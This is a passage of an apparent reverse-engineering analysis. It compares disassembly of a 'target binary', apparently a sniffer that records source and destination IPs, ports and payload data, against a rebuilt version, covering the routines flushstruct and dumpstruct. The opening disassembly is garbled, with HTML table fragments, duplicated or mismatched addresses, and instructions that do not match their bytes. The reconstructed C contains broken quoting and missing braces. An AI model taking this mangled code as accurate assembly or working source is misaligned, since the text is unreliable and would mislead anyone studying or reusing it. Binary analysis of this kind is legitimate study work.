80483bb:       89 c0       mov       %eax,%eax         80483bd:       8d 14 85 00 00 00 00       lea       0x0(,%eax,4),%edx         80483c4:       b8 00 77 0a 08       mov       \$0x80a7700,%eax         80483c9:       8b 04 02       mov       \$0x80a7700,%eax         80483c1:       e8 0c fe ff ff       call       80481e0 <myinet_ntoa>         80483d2:       e8 0c fe ff ff       call       80481e0 <myinet_ntoa>         80483d4:       83 c4 0c       add       \$0xc,%esp         80483d2:       50       mov       %eax,%eax         80483d2:       60       mov       %eax,%eax         80483d2:       60       mov       %eax,%eax         80483d3:       68 91 08 09 08       push       \$0x8090891         80483d2:       ff 35 b4 b5 0a 08       push       \$0x80a5b4         80483ea:       83 c4 10       add       \$0x10,%esp         80483f3:       6a 01       push       \$0x1         80483f3:       6a 01       push       \$0x2         80483f3:       89 c0       mov       \$0x80a7700,%eax         80483f3:       89 c0       mov       \$0x80(%ebp),%eax         80483f3:       80 c0 077 0a 08       mov<!--</td--><td>80483b8:</td><td>8b 4</td><td>15 08</td><td></td><td></td><td></td><td></td><td>mov</td><td>-</td></myinet_ntoa></myinet_ntoa>	80483b8:	8b 4	15 08					mov	-
80483bd:       8d 14 85 00 00 00 00       lea       0x0(,%eax,4),%edx         80483c4:       b8 00 77 0a 08       mov       \$0x80a7700,%eax         80483c9:       8b 04 02       mov       (%edx,%eax,1),%eax         80483c1:       e8 0c fe ff ff       call       8048100 <myinet_ntoa>         80483d2:       e8 0c fe ff ff       call       8048100 <myinet_ntoa>         80483d2:       e8 0c fe ff ff       call       8048100 <myinet_ntoa>         80483d2:       89 c0       mov       %eax,%eax         80483d2:       68 91 08 09 08       push       %eax         80483d2:       ff 35 b4 b5 0a 08       push       \$0x80a5b4         80483e1:       ff 35 b4 b5 0a 08       push       \$0x80a5b4         80483e2:       e8 04 02       add       \$0x10,%esp         80483e2:       e8 04 02       mov       %eax,%eax         80483e2:       ff 35 b4 b5 0a 08       push       \$0x80a5b4         80483e3:       fa 01       mov       \$0x80a5b4         80483e3:       fa 01       mov       \$0x80a5b4         80483f3:       6a 01       push       \$0x1         80483f3:       6a 01       mov       %eax,%eax         80483f3:</myinet_ntoa></myinet_ntoa></myinet_ntoa>	80483bb:	89 c	:0					mov	_
80483c4:       b8 00 77 0a 08       mov       \$0x80a7700, %eax         80483c9:       8b 04 02       mov       (%edx, %eax, 1), %eax         80483cc:       ff 70 04       pushl       0x4 (%eax)         80483cf:       e8 0c fe ff ff       call       80481e0 <myinet_ntoa>         80483d4:       83 c4 0c       add       \$0xc, %esp         80483d4:       68 0c 0       mov       %eax         80483d4:       68 0c 0       mov       %eax         80483d4:       68 91 08 09 08       push       %ox8090891         80483d5:       e8 ba 23 00 00       call       804a7a4 <fprintf>         80483ea:       63 c4 10       add       \$0x10, %esp         80483e4:       ff 35 b4 b5 0a 08       pushl       <b>0x80ab5b4</b>         80483e3:       ff 35 b4 b5 0a 08       pushl       <b>0x80ab5b4</b>         80483e3:       ff 35 b4 b5 0a 08       pushl       <b>0x80ab5b4</b>         80483e3:       ff 35 b4 b5 0a 08       pushl       <b>0x80ab5b4</b>         80483f3:       6a 01       push       \$0x1         80483f3:       6a 01       push       \$0x1         80483f3:       80 c0       mov       \$2x8, %eax         8048401:       b8 00 7</fprintf></myinet_ntoa>	80483bd:	8d 1	.4 85	00	00	00	00	lea	0x0(,%eax,4),%edx
80483c9:       8b 04 02       mov       (%edx, %eax, 1), %eax         80483cc:       ff 70 04       pushl       0x4 (%eax)         80483cf:       e8 0c fe ff ff       call       80481e0 <myinet_ntoa>         80483d4:       83 c4 0c       add       \$0xc, %esp         80483d7:       89 c0       mov       %eax, %eax         80483d7:       89 c0       mov       %eax, %eax         80483d9:       50       push       %eax         80483d6:       68 91 08 09 08       push       \$0x80ab5b4         80483d5:       e8 ba 23 00 00       call       804a7a4 <fprintf>         80483ea:       83 c4 10       add       \$0x10, %esp         80483ea:       ff 35 b4 b5 0a 08       pushl       <b>0x80ab5b4</b>         80483ea:       ff 35 b4 b5 0a 08       pushl       <b>0x80ab5b4</b>         80483ea:       ff 35 b4 b5 0a 08       pushl       <b>0x80ab5b4</b>         80483f3:       6a 01       push       \$0x1         80483f5:       8b 45 08       mov       0x8(%ebp), %eax         80483f1:       8d 14 85 00 00 00 00       lea       0x0(, %eax,4), %edx         8048401:       b8 04 02       mov       \$0x80a7700, %eax         8048406:</fprintf></myinet_ntoa>	80483c4:	b8 0	0 77	0a	80			mov	<b>\$0x80a7700,</b> %eax
80483cc:       ff 70 04       pushl 0x4(%eax)         80483cf:       e8 0c fe ff ff       call 80481e0 <myinet_ntoa>         80483d4:       83 c4 0c       add \$0xc,%esp         80483d7:       89 c0       mov %eax,%eax         80483d9:       50       push %eax         80483d4:       68 91 08 09 08       push %eax         80483d5:       68 91 08 09 08       push %eax         80483d6:       ff 35 b4 b5 0a 08       pushl         80483e1:       ff 35 b4 b5 0a 08       pushl         80483e2:       e8 ba 23 00 00       call         80483e3:       68 01       add \$0x10,%esp         80483e4:       ff 35 b4 b5 0a 08       pushl         80483e3:       6a 01       push \$0x1         80483f3:       6a 01       push \$0x1         80483f4:       89 c0       mov       0x8(%ebp),%eax         80483fa:       80 41 85 00 00 00 00       lea       0x0(,%eax,4),%edx         8048401:       b8 00 77 0a 08       mov       %ox80a7700,%eax         8048406:       8b 04 02       mov (%edx,%eax,1),%eax       8048406:         8048406:       8b 04 02       mov (%edx,%eax), %eax       8048406:         8048406:       8b 04 02       mov</myinet_ntoa>	80483c9:	8b C	04 02					mov	
80483cf:       e8 0c fe ff ff       call       80481e0 <myinet_ntoa>         80483d4:       83 c4 0c       add       \$0xc,%esp         80483d7:       89 c0       mov       %eax,%eax         80483d9:       50       push       %eax         80483d1:       68 91 08 09 08       push       \$0x8090891         80483d2:       ff 35 b4 b5 0a 08       push       \$0x80ab5b4         80483e1:       e8 ba 23 00 00       call       804a7a4 <fprintf>         80483e2:       e8 ba 23 00 00       call       804a7a4 <fprintf>         80483e1:       ff 35 b4 b5 0a 08       pushl       <b>0x80ab5b4</b>         80483f3:       6a 01       push       \$0x10,%esp         80483f5:       8b 45 08       mov       0x8 (%ebp),%eax         80483f3:       6a 01       push       \$0x1         80483f3:       89 c0       mov       %eax,%eax         80483f3:       80 41 4 85 00 00 00 00       lea       0x0(,%eax,4),%edx         8048401:       b8 00 77 0a 08       mov       \$0x80a7700,%eax         8048406:       8b 04 02       mov       (%edx,%eax,1),%eax         8048406:       80 e04       2       mov       \$0x80,%esp         804840</fprintf></fprintf></myinet_ntoa>	80483cc:	ff 7	0 04						
80483d4:       83 c4 0c       add       \$0xc, %esp         80483d7:       89 c0       mov       %eax, %eax         80483d9:       50       push       %eax         80483da:       68 91 08 09 08       push       \$0x8090891         80483d1:       ff 35 b4 b5 0a 08       push       \$0x80ab5b4         80483e1:       ff 35 b4 b5 0a 08       pushl       0x80ab5b4         80483e2:       e8 ba 23 00 00       call       804a7a4 <fprintf>         80483e3:       e8 ba 23 00 00       call       804a7a4 <fprintf>         80483e4:       ff 35 b4 b5 0a 08       pushl       0x80ab5b4         80483e5:       e8 ba 23 00 00       call       804a7a4 <fprintf>         80483e1:       ff 35 b4 b5 0a 08       pushl       0x80ab5b4         80483f3:       6a 01       push       \$0x10, %esp         80483f5:       8b 45 08       mov       0x8(%ebp), %eax         80483f8:       89 c0       mov       %eax, %eax         80483fa:       8d 14 85 00 00 000 00       lea       0x0 (%eax, 4), %edx         8048401:       b8 04 02       mov       (%edx, %eax, 1), %eax         8048406:       8b 04 02       mov       (%edx, %eax), 1), %eax</fprintf></fprintf></fprintf>					ff			-	
80483d7:       89 c0       mov       %eax,%eax         80483d9:       50       push       %eax         80483da:       68 91 08 09 08       push       \$0x8090891         80483df:       ff 35 b4 b5 0a 08       push       \$0x80ab5b4         80483ea:       83 c4 10       add       \$0x10,%esp         80483f3:       6a 01       push       \$0x1         80483f5:       8b 45 08       mov       0x8(%ebp),%eax         80483f6:       89 c0       mov       %eax,%eax         80483fa:       8d 14 85 00 00 00 00       lea       0x0(,%eax,4),%edx         8048401:       b8 00 77 0a 08       mov       \$0x80a7700,%eax         8048406:       8b 04 02       mov       (%edx,%eax,1),%eax         8048400:       83 ec 04       sub       \$0x10,%eap         8048400:       83 ec 04       sub       \$0x4,%eap         8048400:       83 ec 04       sub       \$0x4,%eap         8048401:       68 47 ac 00 00       call       805305c <strlen>         8048410:       e8 47 ac 00 00       call       805305c <strlen>         8048410:       e8 47 ac 00 00       call       805305c <strlen>         8048415:       83 c4 08</strlen></strlen></strlen>									
80483d9:       50       push       %eax         80483da:       68 91 08 09 08       push       \$0x8090891         80483df:       ff 35 b4 b5 0a 08       push       \$0x80ab5b4         80483e5:       e8 ba 23 00 00       call       804a7a4 <fprintf>         80483ea:       83 c4 10       add       \$0x10,%esp         80483ea:       ff 35 b4 b5 0a 08       push       \$0x80ab5b4         80483ea:       ff 35 b4 b5 0a 08       push       0x80ab5b4         80483f3:       6a 01       push       \$0x10,%esp         80483f5:       8b 45 08       mov       0x8(%ebp),%eax         80483f8:       89 c0       mov       %eax,%eax         80483fa:       8d 14 85 00 00 00 00       lea       0x0(,%eax,4),%edx         8048401:       b8 00 77 0a 08       mov       \$0x80a7700,%eax         8048406:       8b 04 02       mov       (%edx,%eax,1),%eax         8048400:       83 ec 04       sub       \$0x10,%eax         8048400:       83 ec 04       sub       \$0x4,%eap         8048401:       68 47 ac 00 00       call       805305c <strlen>         8048410:       e8 47 ac 00 00       call       805305c <strlen>         8048415:<td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></strlen></strlen></fprintf>									
80483da:       68 91 08 09 08       push       \$0x8090891         80483df:       ff 35 b4 b5 0a 08       pushl       0x80ab5b4         80483e5:       e8 ba 23 00 00       call       804a7a4 <fprintf>         80483ea:       83 c4 10       add       \$0x10,%esp         80483ea:       ff 35 b4 b5 0a 08       pushl       <b>0x80ab5b4</b>         80483ea:       ff 35 b4 b5 0a 08       pushl       <b>0x80ab5b4</b>         80483f3:       6a 01       push       \$0x1         80483f5:       8b 45 08       mov       0x8(%ebp),%eax         80483f8:       89 c0       mov       %eax,%eax         80483fa:       8d 14 85 00 00 00 00       lea       0x0(,%eax,4),%edx         8048401:       b8 00 77 0a 08       mov       \$0x80a7700,%eax         8048406:       8b 04 02       mov       (%edx,%eax,1),%eax         8048406:       83 ec 04       sub       \$0x1,%eax         8048406:       83 ec 04       sub       \$0x4,%esp         8048406:       83 ec 04       sub       \$0x4,%esp         8048401:       50       ge 04       sub       \$0x4,%esp         8048401:       83 ec 04       sub       \$0x4,%esp         8048401:</fprintf>			, The second sec						
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80483e5:       e8 ba 23 00 00       call 804a7a4 <fprintf>         80483ea:       83 c4 10       add \$0x10,%esp         80483ea:       ff 35 b4 b5 0a 08       pushl       <b>0x80ab5b4</b>         80483f3:       6a 01       push \$0x1         80483f5:       8b 45 08       mov 0x8(%ebp),%eax         80483f8:       89 c0       mov %eax,%eax         80483fa:       8d 14 85 00 00 00 00       lea 0x0(,%eax,4),%edx         8048401:       b8 00 77 0a 08       mov (%edx,%eax,1),%eax         8048406:       8b 04 02       mov (%edx,%eax,1),%eax         8048406:       83 cc 010       add \$0x10,%eax         8048406:       83 ec 04       sub \$0x4,%esp         8048401:       50       god 00       add \$0x10,%eax         8048402:       83 ec 04       sub \$0x4,%esp         8048401:       50       god 00       add \$0x10,%eax         8048401:       83 ec 04       sub \$0x4,%esp       gox4,%esp         8048401:       68 47 ac 00 00       call       805305c <strlen>         8048410:       e8 47 ac 00 00       call       805305c <strlen>         8048415:       83 c4 08       add \$0x8,%esp       \$0x8,%esp</strlen></strlen></fprintf>						0.8		-	•
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80483ed:       ff 35 b4 b5 0a 08       pushl <b>0x80ab5b4</b> 80483f3:       6a 01       push       \$0x1         80483f5:       8b 45 08       mov       0x8(%ebp),%eax         80483f8:       89 c0       mov       %eax,%eax         80483fa:       8d 14 85 00 00 00 00       lea       0x0(,%eax,4),%edx         8048401:       b8 00 77 0a 08       mov       \$0x80a7700,%eax         8048406:       8b 04 02       mov       (%edx,%eax,1),%eax         8048406:       83 c0 10       add       \$0x10,%eax         8048406:       83 ec 04       sub       \$0x4,%esp         8048410:       e8 47 ac 00 00       call       805305c <strlen>         8048415:       83 c4 08       add       &lt;</strlen>				00	00				-
80483f3:       6a 01       push       \$0x1         80483f5:       8b 45 08       mov       0x8(%ebp),%eax         80483f8:       89 c0       mov       %eax,%eax         80483fa:       8d 14 85 00 00 00 00       lea       0x0(,%eax,4),%edx         8048401:       b8 00 77 0a 08       mov       \$0x80a7700,%eax         8048406:       8b 04 02       mov       (%edx,%eax,1),%eax         8048409:       83 c0 10       add       \$0x10,%eax         8048406:       83 ec 04       sub       \$0x4,%esp         8048406:       63 ec 04       sub       \$0x4,%esp         8048406:       83 ec 04       sub       \$0x4,%esp         8048410:       e8 47 ac 00 00       call       805305c <strlen>         8048415:       83 c4 08       add       \$0x8,%esp</strlen>				ЪБ	0~	ΛÞ			· -
80483f5:       8b 45 08       mov       0x8(%ebp),%eax         80483f8:       89 c0       mov       %eax,%eax         80483fa:       8d 14 85 00 00 00 00       lea       0x0(,%eax,4),%edx         80483fa:       8d 14 85 00 00 00 00       lea       0x0(,%eax,4),%edx         8048401:       b8 00 77 0a 08       mov       \$0x80a7700,%eax         8048406:       8b 04 02       mov       (%edx,%eax,1),%eax         8048409:       83 c0 10       add       \$0x10,%eax         804840c:       83 ec 04       sub       \$0x4,%esp         804840f:       50       push       %eax         8048410:       e8 47 ac 00 00       call       805305c <strlen>         8048415:       83 c4 08       add       \$0x8,%esp</strlen>				50	υd	00		-	
80483f8:       89 c0       mov       %eax,%eax         80483fa:       8d 14 85 00 00 00 00       lea       0x0(,%eax,4),%edx         8048401:       b8 00 77 0a 08       mov       \$0x80a7700,%eax         8048406:       8b 04 02       mov       (%edx,%eax,1),%eax         8048409:       83 c0 10       add       \$0x10,%eax         804840c:       83 ec 04       sub       \$0x4,%esp         804840f:       50       push       %eax         8048410:       e8 47 ac 00 00       call       805305c <strlen>         8048415:       83 c4 08       add       \$0x8,%esp</strlen>								-	
80483fa:       8d 14 85 00 00 00 00       lea       0x0(,%eax,4),%edx         8048401:       b8 00 77 0a 08       mov       \$0x80a7700,%eax         8048406:       8b 04 02       mov       (%edx,%eax,1),%eax         8048409:       83 c0 10       add       \$0x10,%eax         804840c:       83 ec 04       sub       \$0x4,%esp         804840f:       50       push       %eax         8048410:       e8 47 ac 00 00       call       805305c <strlen>         8048415:       83 c4 08       add       \$0x8,%esp</strlen>									
8048401:       b8 00 77 0a 08       mov       \$0x80a7700, %eax         8048406:       8b 04 02       mov       (%edx, %eax, 1), %eax         8048409:       83 c0 10       add       \$0x10, %eax         804840c:       83 ec 04       sub       \$0x4, %esp         804840f:       50       push       %eax         8048410:       e8 47 ac 00 00       call       805305c <strlen>         8048415:       83 c4 08       add       \$0x8, %esp</strlen>				00	$\cap \cap$	$\cap \cap$	0.0	-	
8048406:       8b 04 02       mov       (%edx,%eax,1),%eax         8048409:       83 c0 10       add       \$0x10,%eax         804840c:       83 ec 04       sub       \$0x4,%esp         804840f:       50       push       %eax         8048410:       e8 47 ac 00 00       call       805305c <strlen>         8048415:       83 c4 08       add       \$0x8,%esp</strlen>						00	00		
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804840c:       83 ec 04       sub       \$0x4,%esp         804840f:       50       push       %eax         8048410:       e8 47 ac 00 00       call       805305c <strlen>         8048415:       83 c4 08       add       \$0x8,%esp</strlen>									
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8048415: 83 c4 08 add \$0x8,%esp				<u> </u>					
				00	00				
8048418: 89 CO mov %eax,%eax									-
	8048418:	89 c	20					mov	<pre>%eax, %eax</pre>

804841a:	89	с0						mov	%eax,%eax
804841c:	50							push	%eax
804841d:	8b	45	08					mov	0x8(%ebp),%eax
8048420:	89	с0						mov	<pre>%eax, %eax</pre>
8048422:	8d	14	85	00	00	00	00	lea	0x0(,%eax,4),%edx
8048429:	b8	00	77	0a	08			mov	\$0x80a7700, %eax
804842e:	8b	04	02					mov	(%edx,%eax,1),%eax
8048431:	83	с0	10					add	\$0x10,%eax
8048434:	50							push	%eax
8048435:		36	27	00	00			call	804ab70 < IO fwrite>
804843a:		c4		00	00			add	\$0x10, %esp
804843d:		ec						sub	\$0xc,%esp
8048440:		35		h5	0a	0.8		pushl	0x80ab5b4
8048446:		05				00		call	804a950 < IO fflush>
804844b:		c4		00	00			add	\$0x10,%esp
804844e:		45						mov	0x8(%ebp),%eax
8048451:		чJ с0	00						
8048453:		14	05	0.0	00	0.0	0.0	mov	<pre>%eax,%eax</pre>
						00	00	lea	0x0(,%eax,4),%edx
804845a:		00		υä	Uδ			mov	\$0x80a7700, %eax
804845f:		04		0.5	00	0.0	0.2	mov	(%edx,%eax,1),%eax
8048462:		80				00	03	movb	\$0x3,0xfc0(%eax)
8048469:		00						mov	\$0x0,%eax
804846e:		fa	ΟI	00	00			jmp	804866d <flushstruct+0x3e5></flushstruct+0x3e5>
8048473:	90		~ ~					nop	
8048474:		45	08					mov	0x8(%ebp),%eax
8048477:		с0	0.5	~ ~	~ ~	~ ~		mov	%eax,%eax
8048479:		14				00	00	lea	0x0(,%eax,4),%edx
8048480:		00		0a	08			mov	\$0x80a7700, %eax
8048485:		04						mov	(%edx,%eax,1),%eax
8048488:		58						mov	0xc(%eax),%ebx
804848b:		с3		Ιb	00	00		add	\$0x1b58,%ebx
8048491:		ec	0c					sub	\$0xc,%esp
8048494:		00			Ň			push	\$0x0
8048496:		a5		00	00			call	8053640 <time></time>
804849b:		c4	10					add	\$0x10,%esp
804849e:		с0						mov	%eax,%eax
80484a0:		с3						cmp	%eax,%ebx
80484a2:		0 C						jb	80484b0 <flushstruct+0x228></flushstruct+0x228>
80484a4:	80	7d	fb	01				cmpb	\$0x1,0xffffffb(%ebp)
80484a8:		06						je	80484b0 <flushstruct+0x228></flushstruct+0x228>
80484aa:		b9	01	00	00			jmp	8048668 <flushstruct+0x3e0></flushstruct+0x3e0>
80484af:	90							nop	
80484b0:		45	80					mov	0x8(%ebp),%eax
80484b3:	89	сO						mov	%eax,%eax
80484b5:		14				00	00	lea	0x0(,%eax,4),%edx
	b8	00		0a	8 0			mov	<b>\$0x80a7700,</b> %eax
80484bc:			~ ~					mov	(%edx,%eax,1),%eax
80484c1:	8b	04				~ ~	0.2	cmpb	
	8b 80	b8	с0				03	Chipo	\$0x3,0xfc0(%eax)
80484c1:	8b 80		с0				03	je	804862a <flushstruct+0x3a2></flushstruct+0x3a2>
80484c1: 80484c4: 80484cb: 80484d1:	8b 80 0f 8b	b8 84 45	с0 59				0.5	-	· · · · · · · · · · · · · · · · · · ·
80484c1: 80484c4: 80484cb:	8b 80 0f 8b	b8 84	с0 59				03	je	804862a <flushstruct+0x3a2> 0x8(%ebp),%eax %eax,%eax</flushstruct+0x3a2>
80484c1: 80484c4: 80484cb: 80484d1:	8b 80 0f 8b 89	b8 84 45	с0 59 08	01	00	00		je mov	804862a <flushstruct+0x3a2> 0x8(%ebp),%eax</flushstruct+0x3a2>
80484c1: 80484c4: 80484cb: 80484d1: 80484d4:	8b 80 0f 8b 89 8d	b8 84 45 c0	c0 59 08 85	01	00	00		je mov mov	<pre>804862a <flushstruct+0x3a2> 0x8(%ebp),%eax %eax,%eax 0x0(,%eax,4),%edx \$0x80a7700,%eax</flushstruct+0x3a2></pre>
80484c1: 80484c4: 80484cb: 80484d1: 80484d4: 80484d6:	8b 80 0f 8b 89 8d b8	b8 84 45 c0 14	c0 59 08 85 77	01	00	00		je mov mov lea	804862a <flushstruct+0x3a2> 0x8(%ebp),%eax %eax,%eax 0x0(,%eax,4),%edx</flushstruct+0x3a2>
80484c1: 80484c4: 80484cb: 80484d1: 80484d4: 80484d6: 80484dd:	8b 80 0f 8b 89 8d 88 8b	b8 84 45 c0 14 00	c0 59 08 85 77 02	01 00 0a	00	00		je mov mov lea mov	<pre>804862a <flushstruct+0x3a2> 0x8(%ebp),%eax %eax,%eax 0x0(,%eax,4),%edx \$0x80a7700,%eax</flushstruct+0x3a2></pre>
80484c1: 80484c4: 80484cb: 80484d1: 80484d4: 80484d6: 80484dd: 80484d2:	8b 80 0f 8b 89 8d 8b 8b 0f	b8 84 45 c0 14 00 04	c0 59 08 85 77 02 40	01 00 0a	00	00		je mov mov lea mov mov	<pre>804862a <flushstruct+0x3a2> 0x8(%ebp),%eax %eax,%eax 0x0(,%eax,4),%edx \$0x80a7700,%eax (%edx,%eax,1),%eax</flushstruct+0x3a2></pre>

90494ad.	~ <sup>0</sup>	2.0	hO	00	00			call	9052420 (htona)
80484ed:				00	00				8053d20 <htons></htons>
80484f2:		c4	ΤU					add	\$0x10,%esp
80484f5:		c0						mov	%eax,%eax
80484f7:		с0						mov	<pre>%eax, %eax</pre>
80484f9:		b7	с0						%ax,%eax
80484fc:	50							push	%eax
80484fd:	83	ес	08					sub	\$0x8,%esp
8048500:	8b	45	08					mov	0x8(%ebp),%eax
8048503:	89	с0						mov	%eax,%eax
8048505:	8d	14	85	00	00	00	00	lea	0x0(,%eax,4),%edx
804850c:	b8	00	77	0a	08			mov	<b>\$0x80a7700,</b> %eax
8048511:	8b	04	02					mov	(%edx,%eax,1),%eax
8048514:	ff	30						pushl	(%eax)
8048516:	e8	c5	fc	ff	ff			call	80481e0 <myinet_ntoa></myinet_ntoa>
804851b:		c4						add	\$0xc,%esp
804851e:		c0						mov	%eax, %eax
8048520:	50							push	%eax
8048521:		80	08	09	08			push	\$0x8090880
8048526:				b5		0.8		pushl	0x80ab5b4
804852c:				00		00		call	804a7a4 <fprintf></fprintf>
8048531:		c4		00	00			add	\$0x10,%esp
8048534:		45							0x8(%ebp),%eax
8048537:		40 C0	00					mov	
			0.5	0.0	0.0	0.0	0.0	mov	<pre>%eax,%eax</pre>
8048539:				00		00	00	lea	0x0(,%eax,4),%edx
8048540:				0a	08			mov	\$0x80a7700, %eax
8048545:		04		_				mov	(%edx,%eax,1),%eax
8048548:		b7	-	0a					0xa(%eax),%eax
804854c:		ес	0c					sub	\$0xc,%esp
804854f:	50	_						push	%eax
8048550:		cb		00	00			call	8053d20 <htons></htons>
8048555:		с4	10					add	\$0x10,%esp
8048558:		с0						mov	%eax,%eax
804855a:		с0						mov	%eax,%eax
804855c:		b7	с0					movzwl	%ax,%eax
804855f:	50							push	%eax
8048560:	83	ес	08					sub	\$0x8,%esp
8048563:	8b	45	08					mov	0x8(%ebp),%eax
8048566:	89	c0						mov	%eax,%eax
8048568:	8d	14	85	00	00	00	00	lea	0x0(,%eax,4),%edx
804856f:	b8	00	77	0a	08			mov	<b>\$0x80a7700,</b> %eax
8048574:	8b	04	02					mov	(%edx,%eax,1),%eax
8048577:	ff	70	04					pushl	0x4(%eax)
804857a:				ff	ff			call	80481e0 <myinet ntoa=""></myinet>
804857f:		c4						add	\$0xc,%esp
8048582:		с0						mov	%eax, %eax
8048584:	50	-						push	%eax
8048585:		91	08	09	08			push	\$0x8090891
804858a:				b5		08		pushl	0x80ab5b4
8048590:				00				call	804a7a4 <fprintf></fprintf>
8048595:		c4		00	00			add	\$0x10,%esp
8048598:				b5	02	0.8		auu pushl	0x80ab5b4
804859e:		01	ГЛ	55	va	00			\$0x1
8048596: 80485a0:		45	00					push	
			00					mov	0x8(%ebp),%eax
80485a3:		с0					0.0	mov	%eax,%eax
00105 - 5			0 -	$\cap \cap$	$\cap \cap$				
80485a5:	8d	14		00		00	00	lea	0x0(,%eax,4),%edx
80485a5: 80485ac: 80485b1:	8d b8	14	77	00 0a		00	00	lea mov mov	<pre>0x0(,%eax,4),%edx \$0x80a7700,%eax (%edx,%eax,1),%eax</pre>

80485b4:	83 c0 10		add	\$0x10,%eax
80485b7:	83 ec 04		sub	\$0x4,%esp
80485ba:	50		push	%eax
80485bb:	e8 9c aa	00 00	call	805305c <strlen></strlen>
80485c0:	83 c4 08	}	add	\$0x8,%esp
80485c3:	89 c0		mov	%eax,%eax
80485c5:	89 c0		mov	%eax, %eax
80485c7:	50		push	%eax
80485c8:	8b 45 08		mov	0x8(%ebp),%eax
80485cb:	89 c0		mov	%eax,%eax
80485cd:		00 00 00 00	lea	0x0(,%eax,4),%edx
80485d4:	b8 00 77		mov	\$0x80a7700, %eax
80485d9:	8b 04 02		mov	(%edx,%eax,1),%eax
80485dc:	83 c0 10		add	\$0x10, %eax
80485df:	50		push	%eax
80485e0:	e8 8b 25		call	804ab70 < IO fwrite>
80485e5:	eo ob 23 83 c4 10		add	\$044b70 <_10_1wiite> \$0x10,%esp
80485e5: 80485e8:	83 c4 10 83 ec 08		add sub	-
				\$0x8,%esp
80485eb:	68 9d 08		push	\$0x809089d
80485f0:		b5 0a 08	pushl	
80485f6:	e8 a9 21		call	804a7a4 <fprintf></fprintf>
80485fb:	83 c4 10		add	\$0x10,%esp
80485fe:	83 ec 0c		sub	\$0xc,%esp
8048601:		b5 0a 08	pushl	0x80ab5b4
8048607:	e8 44 23		call	804a950 <_IO_fflush>
804860c:	83 c4 10		add	\$0x10,%esp
804860f:	8b 45 08		mov	0x8(%ebp),%eax
8048612:	89 c0		mov	%eax,%eax
8048614:		00 00 00 00	lea	0x0(,%eax,4),%edx
804861b:	b8 00 77		mov	<b>\$0x80a7700,</b> %eax
8048620:	8b 04 02		mov	(%edx,%eax,1),%eax
8048623:	c6 80 c0	Of 00 00 03	movb	\$0x3,0xfc0(%eax)
804862a:	83 ec 0c		sub	\$0xc,%esp
804862d:	8b 45 08		mov	0x8(%ebp),%eax
8048630:	89 c0		mov	<pre>%eax, %eax</pre>
8048632:	8d 14 85	00 00 00 00	lea	0x0(,%eax,4),%edx
8048639:	b8 00 77		mov	<b>\$0x80a7700,</b> %eax
804863e:	ff 34 02		pushl	(%edx,%eax,1)
8048641:	e8 ce 9f	00 00	call	8052614 <libc_free></libc_free>
8048646:	83 c4 10		add	\$0x10,%esp
8048649:	8b 45 08		mov	0x8(%ebp),%eax
804864c:	89 c0		mov	%eax,%eax
804864e:		00 00 00 00	lea	0x0(,%eax,4),%edx
8048655:	b8 00 77		mov	\$0x80a7700, %eax
804865a:		00 00 00 00	movl	\$0x0, (%edx, %eax, 1)
8048661:	b8 00 00		mov	\$0x0,%eax
8048666:	eb 05			804866d <flushstruct+0x3e5></flushstruct+0x3e5>
8048668:	b8 00 00		jmp mov	\$0x0,%eax
	8b 5d fc		mov	
804866d:			mov	<pre>0xffffffc(%ebp),%ebx</pre>
8048670:	c9		leave	
8048671:	c3		ret	
8048672:	89 f6		mov	%esi,%esi

All of the differences are bolded above. The first differences we note between the two executables are the addresses for theipz (0x80a7700), filez (0x80ab5b4),

and the addresses of the strings that represent the formats for the fprintfs (which are in the range 0x8090880-0x809089d). The first two addresses differ between the two binaries by the same 0x6c0 as we noted previously and the format strings differ by 0x6e0 (1760 decimal). We further note that the addresses of the time and htons routines differ between the two by 0x10 and the addresses of the strlen and free routines differ by four. All the other jump and call target addresses are identical between the two versions. Since dress identified all of the calls as being the same library routines we see in our binary, we conclude that this routine is functionally equivalent between ours and the target binary.

The next routine we will examine is dumpstruct.

```
void
dumpstruct ()
{
  int i;
  for (i = 0; i < 4012; i++)
   if (theipz[i] != NULL)
      {
       printf ("DUMP STRUCT = NUMBER %i\n", i);
       printf ("*sip -> %s*\n", myinet ntoa (theipz[i]->sip));
       printf ("*sport -> %i*\n", htons (theipz[i]->sport));
       printf ("*dip -> %s*\n", myinet ntoa (theipz[i]->dip));
        printf ("*dport -> %i*\n", htons (theipz[i]->dport));
       printf ("*data -> %s\n", theipz[i]->data);
       printf ("*----*\n");
  printf ("\\*
                    The END
                                        */\n");
```

Which gives us the following object code.

00010071 6	a+ \ .	
08048674 <dumps< td=""><td></td><td></td></dumps<>		
8048674:	push %ebp	
8048675:	e5 mov %esp,%ebp	2
8048677:	ec 08 sub \$0x8,%esp	2
804867a:	nop	
804867b:	45 fc 00 00 00 00 movl \$0x0,0xft	fffffc(%ebp)
8048682:	f6 mov %esi,%es:	Ĺ
8048684:	7d fc ab 0f 00 00 cmpl \$0xfab,0x	xffffffc(%ebp)
804868b:	07 jle 8048694 <	<pre><dumpstruct+0x20></dumpstruct+0x20></pre>
804868d:	56 01 00 00 jmp 80487e8 <	<pre><dumpstruct+0x174></dumpstruct+0x174></pre>
8048692:	f6 mov %esi,%esi	Ĺ
8048694:	45 fc mov Oxffffff	fc(%ebp),%eax
8048697:	c0 mov %eax,%eax	x
8048699:	14 85 00 00 00 00 lea 0x0(,%eax	x,4),%edx
80486a0:	00 77 0a 08 mov <b>\$0x80a77</b>	<b>00,</b> %eax
80486a5:	3c 02 00 cmpl \$0x0,(%ec	dx,%eax,1)
80486a9:	84 2c 01 00 00 je 80487db <	<pre><dumpstruct+0x167></dumpstruct+0x167></pre>
80486af:	ec 08 sub \$0x8,%esp	2
80486b2:	75 fc pushl 0xffffff	fc(%ebp)
80486b5:	a0 08 09 08 push <b>\$0x80908a</b>	a0

80486ba:	e8 01 21 00 00	call 804a7c0 < IO printf>
80486bf:	83 c4 10	add \$0x10,%esp
80486c2:	83 ec 08	sub \$0x8, %esp
80486c5:	83 ec 04	sub \$0x4,%esp
80486c8:	8b 45 fc	<pre>mov Oxffffffc(%ebp),%eax</pre>
80486cb:	89 c0	mov %eax,%eax
80486cd:	89 C0 8d 14 85 00 00 00 00	
		lea 0x0(,%eax,4),%edx
80486d4:	b8 00 77 0a 08	mov <b>\$0x80a7700</b> , %eax
80486d9:	8b 04 02	mov (%edx,%eax,1),%eax
80486dc:	ff 30	pushl (%eax)
80486de:	e8 fd fa ff ff	call 80481e0 <myinet_ntoa></myinet_ntoa>
80486e3:	83 c4 08	add \$0x8,%esp
80486e6:	89 c0	mov %eax,%eax
80486e8:	50	push %eax 🤇
